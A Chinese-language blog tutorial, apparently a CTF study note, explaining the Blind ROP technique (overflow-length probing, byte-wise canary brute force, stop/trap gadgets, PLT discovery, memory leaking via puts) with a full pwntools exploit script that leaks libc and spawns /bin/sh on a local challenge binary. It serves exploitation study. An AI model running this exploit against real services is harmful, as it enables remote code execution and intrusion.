BROP(Blind ROP)

BROP的基础流程

BROP

Blind-ROP,也就是盲打!其实是没有源程序的情况下的一种攻击思路。

大概步骤分为几步:

  • 判断栈溢出的长度
  • Stack Reading(泄露canariesebpreturn address
  • Blind ROP: 找到合适的gadgets,并用来控制输出函数(puts(),write())的参数。
  • 使用输出函数找到更多的gadgets以便于编写exp

判断栈溢出长度

最简单的一步,从1开始暴力枚举,直到发现程序崩溃。

这里提一嘴,假如发现使得程序溢出的字节数不是64位的倍数,考虑是不是读入了一个回车。

Stack Reading

经典栈布局:

1
2
buffer|canary|saved fame pointer|saved returned address
low address-> ->high address

枚举后可以找到buffer的长度,但明显不够:我们不知道canary的值,之后的ebp等其他值也不知道。

这里先说一下canary,其实上面也写了,这是一个cookie信息,是为了防止栈溢出的,简略的说就是这个值要是被修改了,就说明可能发生了栈溢出,程序将会crash。所以在攻击的时候是需要保持canary不变的。

然而,这些值也可以爆破。好好好

但当然不能直接嗯爆破,毕竟64位程序就有$2^{64}$种可能。这里用一下paper里面的图:

image-20221210184219331

其实也就是按字节爆破,和直接爆破的区别就是,以64位程序为例子,按字节爆破只需要 $82^{8} = 2048$ 次,因为我们是能够判断前面的字节是否匹配成功的。32位只需要 $42^{8}=1024$ 次。

Blind ROP

首先我们需要利用一些关键gadgets,这里我们称为BROP gadgets,也就是之前在libc_csu_init里面结尾处的gadgets。为什么?因为这里能有控制两个关键的传参的寄存器rdirsigadgets。(怎么取到rdirsiret2csu那一节)。

write()函数中,第三个参数仅仅是用来控制输出的字符串的长度,不为0即可。而pop rdx; ret这种gadgets是很少的,而当执行strcmp()的时候,rdx会被设置为将要被比较的字符串的长度,因此可以找到strcmp函数即可控制rdx

但我们又不知道地址,怎么找到BROP gadgets呢?先看下面:

stop gadgets && trap gadgets

重头戏,特地搞个小标题。

stop gadgetstrap gadgets是两种特殊的gadgets;我们先寻找到这两种gadgets,以此找到其他的gadgets

先说trap gadgets,很容易理解,也就是会让程序发生崩溃的一段代码。

stop gadgets呢,就是让程序不发生崩溃,但是又做出一定响应的一段代码。TODO

再引入一个概念:Probe,也就是探针,就是我们想要探测的代码地址。若程序是64位程序,可以直接从0x400000尝试。假如不成功,可能程序开启了PIE或者是32位程序。

试想这样一种栈:

1
2
Buffer|return address(probe)|stop gadgets 或 trap gadgets
low address-> ->high address

这样一来,程序会去执行probe处的一小段代码,若这段代码没有任何对栈的操作,我们知道它是会返回到我们设置的stop gadgetstrap gadgets的。

更详细的说,可以通过这种方式**找到一个不会对栈进行pop操作的gadgets**:

1
2
Buffer|probe|stop|trap(trap|trap|...)
low address-> ->high address

这样一来,若probe处没有pop操作,它便会执行stop gadgets,不会崩溃;若有pop操作,执行的便是trap gadgets,程序将会崩溃。因此找到一个不会崩溃的地方便是一个没有pop操作的gadgets,例如xor eax, eax;ret或者是ret这种。

以此类推,这种栈可以找到有一个pop操作的gadgets

1
Buffer|probe|trap|stop|trap(trap|trap...)

这个可以找到有6个pop操作的gadgets

1
2
Buffer|probe|trap|trap|trap|trap|trap|trap|stop|trap(trap|trap...)
low address-> ->high address

而像BROP gadgets这样一下弹出6个寄存器的gadgets程序中并不常见。因此,如果我们发现了这种gadgets,那么有很大可能性这个gadgets就是BROP gadgets由此我们可以通过地址偏移得到libc_csu_init里面的所有gadgets

补充说明,probe本身可能是stop gadgets。可以用以下栈排除(正常执行的话即是stop gadgets):

1
Buffer|probe|trap|trap(|trap|trap...)

找到BROP gadgets后,要看看可能会是add rsp, 8开始的,是的话偏移8个字节。

控制rdx

上面已经讲解了如何通过stop gadgetstrap gadgets来控制前两个参数。而我们知道strcmp()只有两个参数嘛,因此假如我们有了strcmp和前两个参数的地址,我们便可以控制rdx。此处要注意,strcmp(param1, param2)需要两个参数都是可读的地址才可以。在没有开启PIE时,64位程序的0x400000处有7个非零字节,我们可以使用。

因此,目前要实现write(param1, param2, param3)仅剩一步:获取write()的地址,也就是write_plt()的地址。(strcmp()一样,都在plt表里面)

寻找PLT表

寻找plt表的目的是,找出其中的write_plt或者是puts_plt等便于我们使用。

来看看plt表:

image-20221210211419513

我们知道plt表中的三行,第一行是去got表查看(假如got表还没有,就是跳到下一行),第二三行是查找地址的意思。字节数可以看到分别是六字节、五字节、五字节,加起来十六字节。

每一个plt表项是16字节。因此,假如发现了一系列的长度为16的没有使得程序崩溃的代码段,那么很有可能遇到了plt表。此外,还可以通过前后偏移6字节来判断出于plt表中间还是出于开头(可以看到前6个字节是第一行,也就是去找got,因此在开头的话偏移6个字节是不会崩溃的)。

只要找到了plt表,我们遍历plt表即可获得里面的函数地址。

找到puts(param1)是比较简单的,如下面的payload

1
payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)

addr处是puts函数,那么将会输出0x400000处的7个非零字节(\x7fELF)。

这里补充写一下,假**如puts_pltplt表中的第一个函数,那么在puts_plt之前的地址开始调用,也可能会调用到puts**。怎么找到puts_plt的开头地址呢?

可以使用两个payload,一个是上面那个,另一个是:

1
payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr+6)+p64(stop_gadget)

只要两个payload都会输出\x7fELF,那么说明肯定此时addr就是put_plt开头了。

write(file* fp, param2, param3)的第一个参数是文件描述符,我们需要找到文件描述符的值。这个比较麻烦,wiki上面是这么说的:

image-20221210212904866

到这里,我们已经可以控制输出函数,那么我们便可以输出.text段的其它内容或者是其它gadgets,并找到其他函数,以便于完成攻击。

另一个常用思路是,根据获取的putsplt表函数获取got表的内容,然后依次以此泄露libc版本来使用其他函数。使用puts_plt将从0x400000开始的1k个字节全部保存到文件,然后使用ida反编译即可查看。这里写一下代码和效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def leak(length, pop_rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 10001)
payload = length*b'a' + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
if b'WelCome' in data:
data = data[:data.index(b"\nWelCome")]
else:
data = data
if data == b"":
data = b'\x00'
return data
except Exception:
sh.close()
info('failure in {}'.format(leak_addr))
return None

if __name__ == '__main__':
result = b""
addr = 0x400000
while addr < 0x401000:
info("starting to deal {}".format(hex(addr)))
data = leak(length, pop_rdi_ret, puts_addr, addr,stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)

用上面的代码将整个文件的前面的部分输出到文件,使用ida反编译。

需要注意的是如果泄露出来的是 “”, 那说明我们遇到了'\x00',因为 puts 是输出字符串,字符串是以'\x00'为终止符的。之后利用 ida 打开 binary 模式,首先在 edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移 0x560 处。

image-20221211230812095

exp

跟着wiki一步一步写的,最后也是有点乱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
from pwn import *
from LibcSearcher import *

# sh = remote('127.0.0.1', 10001)


def get_stack_length():
length = 0
while True:
try:
sh = remote('127.0.0.1', 10001)
payload = length*b'a'
sh.recvuntil('password?\n')
sh.sendline(payload)
output = sh.recv()
sh.close()
if output.startswith(b'No password'):
length += 1
continue
except EOFError:
sh.close()
success('length:' + str(length-1))
return length - 1


def get_stop_addr(length):
addr = 0x400600
i = 0
while True:
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = b'a'*length + p64(addr)
sh.sendline(payload)
sh.recv()
sh.close()
success('one stop gadget:0x%x' % (addr))
return addr
except EOFError:
info('no 0x%x' % addr)
addr += 1
sh.close()


def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil(b'password?\n')
payload = b'a'*length + \
p64(addr) + 6*p64(0xdeadbeaf) + \
p64(stop_gadget) + 10*p64(stop_gadget)
sh.sendline(payload)
output = sh.recv(timeout=3)
sh.close()
info(b'output:' + output)
if output.startswith(b'WelCome'):
return True

except EOFError:
sh.close()
return False


def check_BROP_gadgets(length, addr):
try:
sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = b'a'*length + p64(addr) + p64(0xdeadbeaf)*100
sh.sendline(payload)
output = sh.recv()
sh.close()
info('stop gadget, not BROP gadgets')
return False
except EOFError:
sh.close()
return True


def get_puts_addr(length, pop_rdi_ret, stop_gadget):
addr = 0x400550
while True:
info(hex(addr))
sh = remote('127.0.0.1', 10001)
sh.recvuntil('password?\n')
payload = b'a'*length + p64(pop_rdi_ret) + \
p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith(b'\x7fELF'):
success('finding puts addr:0x%x' % addr)
return addr
except EOFError:
pass
finally:
sh.close()
addr += 1


def get_puts_start_addr(length, pop_rdi_ret, stop_gadget, addr):
info('we has find put_plt, now try to find the start:')
while True:
info(hex(addr))
flag1 = False
flag2 = False
sh = remote('127.0.0.1', 10001)
sh.recvuntil(b'password?\n')
payload = length*b'a' + p64(pop_rdi_ret) + \
p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content1 = sh.recv(timeout=2)
if content1.startswith(b'\x7fELF'):
flag1 = True
except EOFError:
flag1 = False
sh.close()
sh = remote('127.0.0.1', 10001)
sh.recvuntil(b'password?\n')
payload = length*b'a' + p64(pop_rdi_ret) + \
p64(0x400000) + p64(addr+6) + p64(stop_gadget)
sh.sendline(payload)
try:
content2 = sh.recv(timeout=2)
info(b'content2:' + content2)
if content2.startswith(b'\x7fELF'):
flag2 = True
except EOFError:
flag2 = False
info('flag1:{}, flag2:{}'.format(flag1, flag2))
if (flag1 & flag2):
success('get the start of puts_plt addr:' + hex(addr))
return addr
else:
addr += 1


def leak(length, pop_rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 10001)
payload = length*b'a' + p64(pop_rdi_ret) + \
p64(leak_addr) + p64(puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
if b'WelCome' in data:
data = data[:data.index(b"\nWelCome")]
else:
data = data
if data == b"":
data = b'\x00'
return data
except Exception:
sh.close()
info('failure in {}'.format(leak_addr))
return None


if __name__ == '__main__':

# length = get_stack_length()
length = 72
stop_gadget = 0x4006b6 # return to the start
# stop_gadget = get_stop_addr(length)
info('start to find brop gadgets:')
brop_gadgets = 0x4007ba # 0x4007ba for add rsp, 6
'''
while True:
info('Testing 0x%x'%brop_gadgets)
if get_brop_gadget(length, stop_gadget, brop_gadgets):
if check_BROP_gadgets(brop_gadgets, length):
success('success in finding brop gadgets: 0x%x', brop_gadgets)
break
else:
brop_gadgets += 1
'''
pop_rdi_ret = brop_gadgets + 9
# puts_addr = get_puts_addr(length, pop_rdi_ret, stop_gadget)
# puts_addr = get_puts_start_addr(
# length, pop_rdi_ret, stop_gadget, puts_addr)
puts_addr = 0x400560
'''
get puts_got
result = b""
addr = 0x400000
while addr < 0x401000:
info("starting to deal {}".format(hex(addr)))
data = leak(length, pop_rdi_ret, puts_addr, addr,stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
'''

# retn_addr = get_retn_gadget(length, stop_gadget)

retn_addr = 0x400541
puts_got = 0x601018
#sh = remote('127.0.0.1', 10001)
context(log_level='debug')
sh = process('./brop')
sh.recvuntil('password?\n')
payload = length*b'a' + p64(pop_rdi_ret) + \
p64(puts_got) + p64(retn_addr) + p64(puts_addr) + p64(stop_gadget)
sh.sendline(payload)
#data = sh.recvuntil(b'\nWelCome', drop=True)
#puts_libc = u64(data.ljust(8, b'\x00'))
puts_libc = u64(sh.recv(6).ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')


'''
libc = ELF('./libc.so')
libc_base = puts_libc - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + next(libc.search(b'/bin/sh'))
'''

sh.recvuntil(b'password?\n')
payload = length*b'a' + \
p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(stop_gadget)
pid = util.proc.pidof(sh)[0]
print(pid)
pause()
sh.sendline(payload)
sh.interactive()


BROP(Blind ROP)
http://example.com/2023/09/21/system/StackOverflow/BROP/
作者
Ltfall
发布于
2023年9月21日
许可协议